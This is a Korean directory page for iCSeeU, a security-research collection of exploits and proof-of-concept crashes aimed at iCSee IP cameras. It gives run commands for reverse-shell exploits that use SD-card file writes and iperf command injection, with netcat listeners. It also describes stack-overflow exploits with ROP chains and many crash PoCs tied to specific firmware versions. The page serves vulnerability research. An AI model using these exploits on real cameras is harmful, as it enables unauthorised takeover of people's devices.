Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
iCSeeU — iCSee 애플리케이션을 사용하는 카메라를 위한 도구/개념 증명/익스플로잇 모음입니다. 그리고 네 - NES 게임을 실행할 수 있습니다! | Kitploit
도구/GitHubGitHub/lr-m/icseeu
Embedded Systems SecurityIoT SecurityExploitationReverse EngineeringDebuggersFuzzingCTFHardware SecurityPapers & ResearchLearning & EducationFirmware AnalysisBinary Exploitation
11년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHublr-m/icseeu

iCSeeU

iCSee 애플리케이션을 사용하는 카메라를 위한 도구/개념 증명/익스플로잇 모음입니다. 그리고 네 - NES 게임을 실행할 수 있습니다!

저장소 보기

이것은 LAN을 통해 iCSee 화상 통화 카메라(및 아마도 비화상 통화 카메라도)에 사용할 수 있는 도구/PoC/익스플로잇 모음입니다. SD 카드 업데이트 방법을 대체하여 대체 펌웨어를 플래시하는 데 쉽게 사용할 수 있습니다.

참고: 메모리 손상 익스플로잇은 카메라 펌웨어 버전이 V5.00.R02.000949U5.10000.141324.0000010 또는 V5.00.R02.000807E5.10000.346724.0000010인 경우에만 작동합니다. 이러한 익스플로잇은 펌웨어가 빌드될 때마다 변경되는 고정 오프셋에 의존합니다.

블로그

[0] 열거, 분해 및 펌웨어 추출

[1] 카메라 언어 배우기

[2] 쓸모없는 정수 오버플로우 + 유용한 버그 찾기

[3] 스택 오버플로우로 인한 사망 + 카나리 재미

[4] 모든 것 악용하기

[5] 다른 카메라, 동일한 앱

[6] 입증 + 두 번째 카메라 전체 메모리 손상 익스플로잇

[7] 카메라에서 NES 게임 에뮬레이션

종속성

  • pycryptodome : RSA 로그인 암호화용
  • pwntools : 셸코드용
  • pyftpdlib : FTP 서버용
  • pynput : NES 키보드 입력용

기능

get_system_info

이것은 get_system_info 메서드를 사용하여 포트 34567을 통해 카메라 정보를 가져옵니다.

root@kitploit:~
python3 icseeu.py get_system_info
root@kitploit:~
{
  "Name": "SystemInfo",
  "Ret": 100,
  "SessionID": "0x0001869f",
  "SystemInfo": {
    "AlarmInChannel": 0,
    "AlarmOutChannel": 0,
    "AudioInChannel": 1,
    "BuildTime": "2024-06-27 10:33:41",
    "CombineSwitch": 0,
    "DeviceModel": "IPC_GK7201V300_G2-WR-V_S38",
    "DeviceRunTime": "0x000026c6",
    "DeviceType": 7,
    "DigChannel": 0,
    "EncryptVersion": "Unknown",
    "ExtraChannel": 0,
    "HardWare": "IPC_GK7201V300_G2-WR-V_S38",
    "HardWareVersion": "Unknown",
    "Pid": "A909409U5000000N",
    "SerialNo": "bf7816d59506ec06",
    "SoftWareVersion": "V5.00.R02.000949U5.10000.141324.0000010",
    "TalkInChannel": 1,
    "TalkOutChannel": 1,
    "UpdataTime": "",
    "UpdataType": "0x00000000",
    "VideoInChannel": 1,
    "VideoOutChannel": 1
  }
}

ftp_get_logs

남은 텍스트 기능을 사용하여 장치에서 로그를 가져옵니다(로그는 FTPTestDir/Test에 저장됩니다).

root@kitploit:~
python3 icseeu.py ftp_get_logs

익스플로잇

gdb_revshell

SD 카드 파일 쓰기 취약점과 SD 카드에 있는 바이너리의 원격 실행을 허용하는 iperf 바이너리 실행 취약점을 악용하여 리버스 셸을 얻고 메인 App 프로세스에 연결되는 GDB 디버거를 시작합니다.

터미널 1:

root@kitploit:~
nc -l 1234

터미널 2:

root@kitploit:~
python3 icseeu.py gdb_revshell

터미널 3:

root@kitploit:~
gdb-multiarch
gef-remote 192.168.188.2 8888

참고: 프로그램을 30초 이상 중지하지 마십시오. 그렇지 않으면 워치독이 문제를 제기하고 App 프로세스가 다시 시작됩니다!

참고 2: 페이로드(GDB_Revshell/remote_mgmt.c)에서 하드코딩된 IP 주소를 LAN에 있는 사용자 머신의 IP로 수정하고 페이로드를 다시 빌드해야 할 수도 있습니다.

gdb_revshell_inject

SD 카드 파일 쓰기 취약점과 iperf 명령 주입 취약점을 악용하여 SD 카드에 있는 바이너리의 원격 실행을 허용하고, 리버스 셸을 얻고 메인 App 프로세스에 연결되는 GDB 디버거를 시작합니다.

이것은 이미 iperf 바이너리가 존재하여 다른 방법을 방해하는 장치에 유용합니다.

터미널 1:

root@kitploit:~
nc -l 1234

터미널 2:

root@kitploit:~
python3 icseeu.py gdb_revshell_inject

터미널 3:

root@kitploit:~
gdb-multiarch
gef-remote 192.168.188.2 8888

참고: 프로그램을 30초 이상 중지하지 마십시오. 그렇지 않으면 워치독이 문제를 제기하고 App 프로세스가 다시 시작됩니다!

참고 2: 페이로드(GDB_Revshell/remote_mgmt.c)에서 하드코딩된 IP 주소를 LAN에 있는 사용자 머신의 IP로 수정하고 페이로드를 다시 빌드해야 할 수도 있습니다.

iperf_inject_exploit

iperf 명령 주입을 악용하여 리버스 셸을 설정합니다.

터미널 1:

root@kitploit:~
nc -l 1234

터미널 2:

root@kitploit:~
python3 icseeu.py iperf_inject_exploit

참고: 페이로드(Revshell_Inject/remote_mgmt.c)에서 하드코딩된 IP 주소를 LAN에 있는 사용자 머신의 IP로 수정하고 페이로드를 다시 빌드해야 할 수도 있습니다.

GOKE GK7201용 스택 오버플로우 익스플로잇

이것은 메시지 유형 0x7d8의 핸들러에서 두 번째 스택 오버플로우에 대한 익스플로잇입니다. 이 오버플로우는 스택 카나리를 우회하고 실행을 얻을 수 있게 해주기 때문에 흥미롭습니다.

이것들이 작동하려면 먼저 디스패처 페이로드를 빌드해야 하며(PayloadDispatcher 디렉터리에서 make 실행), 카메라에서 실행하려는 페이로드는 각 디렉터리(예: ImageDisplay)에서 make를 실행하여 빌드합니다.

참고:

  • 카메라의 펌웨어 버전은 V5.00.R02.000949U5.10000.141324.0000010이어야 합니다(다른 버전에서는 작동을 보장할 수 없습니다).

screenflash

화면을 깜빡여 코드 실행을 입증합니다.

root@kitploit:~
python3 icseeu.py exploit_goke screenflash

rgb

RGB 색상을 깜빡여 화면 제어를 입증합니다.

root@kitploit:~
python3 icseeu.py exploit_goke rgb

imagedisplay

파일 쓰기를 사용하여 원시 RGB 5:6:5 이미지를 업로드합니다. 디렉터리의 이미지에서 ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565 -f rawvideo image.raw를 실행하여 ImageDisplay 디렉터리에 image.raw 파일을 만듭니다. 이미지가 화면에 표시됩니다.

root@kitploit:~
python3 icseeu.py exploit_goke imagedisplay

buttontest

버튼 상태를 읽을 수 있음을 입증합니다. 버튼 중 하나가 눌렸을 때 색상을 깜빡입니다.

root@kitploit:~
python3 icseeu.py exploit_goke buttontest

pong

Pong 게임의 최소한의 구현으로, 화면과 전면 버튼을 제어할 수 있음을 보여주며, 약간 더 복잡한 페이로드를 시연합니다.

root@kitploit:~
python3 icseeu.py exploit_goke pong

nes

GOKE_Payloads/nes 디렉터리에 있는 rom.nes를 실행할 수 있는 포팅된 NES 에뮬레이터입니다. GOKE_Payloads/nes/smolnes와 GOKE_Payload/nes에서 make를 실행하여 바이너리를 생성합니다.

root@kitploit:~
python3 icseeu.py exploit_goke nes

XM530V200WX1용 스택 오버플로우 익스플로잇

이것은 스택 카나리가 없지만 NX가 있는 다른 카메라의 스택 오버플로우 익스플로잇입니다. 스택을 피벗하고 큰 ROP-체인을 실행하기 위해 ROP-체인을 작성했습니다. 이 ROP-체인은 실행 가능한 메모리를 매핑하고, 파일 내용을 메모리에 로드하고, 이를 실행하는 스레드를 생성한 다음, 스택 상태를 복구하고 실행을 계속합니다.

이것들을 작동시키려면 먼저 페이로드를 빌드해야 합니다. 각 디렉터리(예: ImageDisplay)에서 make를 실행하세요.

참고:

  • 이 익스플로잇은 상당히 신뢰할 수 없으며, 약 40-50%의 확률로 작동합니다(알 수 없는 이유로 스레드 생성을 전혀 좋아하지 않습니다).
  • 카메라의 펌웨어 버전은 V5.00.R02.000807E5.10000.346724.0000010이어야 합니다(다른 버전에서는 작동을 보장할 수 없습니다).

screenflash

화면을 깜빡여 코드 실행을 입증합니다.

root@kitploit:~
python3 icseeu.py exploit_xm530 screenflash

rgb

RGB 색상을 깜빡여 화면 제어를 입증합니다.

root@kitploit:~
python3 icseeu.py exploit_xm530 rgb

imagedisplay

파일 쓰기를 사용하여 원시 RGB 5:6:5 이미지를 업로드합니다. 디렉터리의 이미지에서 ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565be -f rawvideo image.raw를 실행하여 ImageDisplay 디렉터리에 image.raw 파일을 만듭니다. 이미지가 화면에 표시됩니다.

root@kitploit:~
python3 icseeu.py exploit_xm530 imagedisplay

PoC

이러한 개념 증명(및 근본 원인)에 대한 자세한 내용은 이 readme 상단의 블로그에 있습니다.

integer_underflow_http

이 PoC는 HTTP 서버의 정수 언더플로우로 인한 충돌을 유발합니다.

root@kitploit:~
python3 icseeu.py integer_underflow_http

iperf_run

이 PoC는 SD 카드의 iperf/iperf에 저장된 파일(ash 스크립트 또는 바이너리)을 실행합니다.

root@kitploit:~
python3 icseeu.py iperf_run

iperf_inject

이 PoC는 명령 주입을 통해 reboot 명령을 실행합니다. 이를 위해 SD 카드에 iperf/iperf 파일이 존재해야 합니다.

root@kitploit:~
python3 icseeu.py iperf_inject

assert_trigger_0x41a

이 PoC는 0x41a 메시지 유형 핸들러의 큰 할당으로 인해 어설션을 트리거합니다(충돌 유발).

root@kitploit:~
python3 icseeu.py assert_trigger_0x41a

integer_overflow_0x41a

이 PoC는 0x41a 메시지 핸들러에서 이상한 OOB 읽기를 유발하는 정수 오버플로우로 인한 충돌을 유발합니다.

root@kitploit:~
python3 icseeu.py integer_overflow_0x41a

stack_overflow_0x43a

이 PoC는 유형 0x43a의 메시지 핸들러에서 스택 오버플로우로 인한 충돌을 유발합니다.

root@kitploit:~
python3 icseeu.py stack_overflow_0x43a

stack_overflow_0x438_1

이 PoC는 유형 0x438의 메시지 핸들러에서 첫 번째 스택 오버플로우로 인한 충돌을 유발합니다.

root@kitploit:~
python3 icseeu.py stack_overflow_0x438_1

stack_overflow_0x438_2

이 PoC는 유형 0x438의 메시지 핸들러에서 두 번째 스택 오버플로우로 인한 충돌을 유발합니다.

root@kitploit:~
python3 icseeu.py stack_overflow_0x438_2

stack_overflow_0xdac

이 PoC는 유형 0xdac의 메시지 핸들러에서 스택 오버플로우로 인한 충돌을 유발합니다.

root@kitploit:~
python3 icseeu.py stack_overflow_0xdac

stack_overflow_0x5a4

이 PoC는 유형 0x5a4의 메시지 핸들러에서 스택 오버플로우로 인한 충돌을 유발합니다.

root@kitploit:~
python3 icseeu.py stack_overflow_0x5a4

stack_overflow_0x414

이 PoC는 유형 0x414의 메시지 핸들러에서 스택 오버플로우로 인한 충돌을 유발합니다.

root@kitploit:~
python3 icseeu.py stack_overflow_0x438_1

stack_overflow_0x410_1

이 PoC는 유형 0x410의 메시지 핸들러에서 첫 번째 스택 오버플로우로 인한 충돌을 유발합니다.

root@kitploit:~
python3 icseeu.py stack_overflow_0x410_1

stack_overflow_0x410_2

이 PoC는 유형 0x410의 메시지 핸들러에서 두 번째 스택 오버플로우로 인한 충돌을 유발합니다.

root@kitploit:~
python3 icseeu.py stack_overflow_0x410_2

stack_overflow_0x5a8

이 PoC는 유형 0x5a8의 메시지 핸들러에서 스택 오버플로우로 인한 충돌을 유발합니다.

root@kitploit:~
python3 icseeu.py stack_overflow_0x5a8

stack_overflow_0x41e

이 PoC는 유형 0x41e의 메시지 핸들러에서 스택 오버플로우로 인한 충돌을 유발합니다.

root@kitploit:~
python3 icseeu.py stack_overflow_0x41e

stack_overflow_0x7d8_1

이 PoC는 유형 0x7d8의 메시지 핸들러에서 첫 번째 스택 오버플로우로 인한 충돌을 유발합니다.

root@kitploit:~
python3 icseeu.py stack_overflow_0x7d8_1

stack_overflow_0x7d8_2

이 PoC는 유형 0x7d8의 메시지 핸들러에서 두 번째 스택 오버플로우로 인한 충돌을 유발합니다.

root@kitploit:~
python3 icseeu.py stack_overflow_0x7d8_2

stack_overflow_0x8a6

이 PoC는 유형 0x8a6의 메시지 핸들러에서 스택 오버플로우로 인한 충돌을 유발합니다(모든 카메라에 존재하지 않음).

root@kitploit:~
python3 icseeu.py stack_overflow_0x8a6
도구 다운로드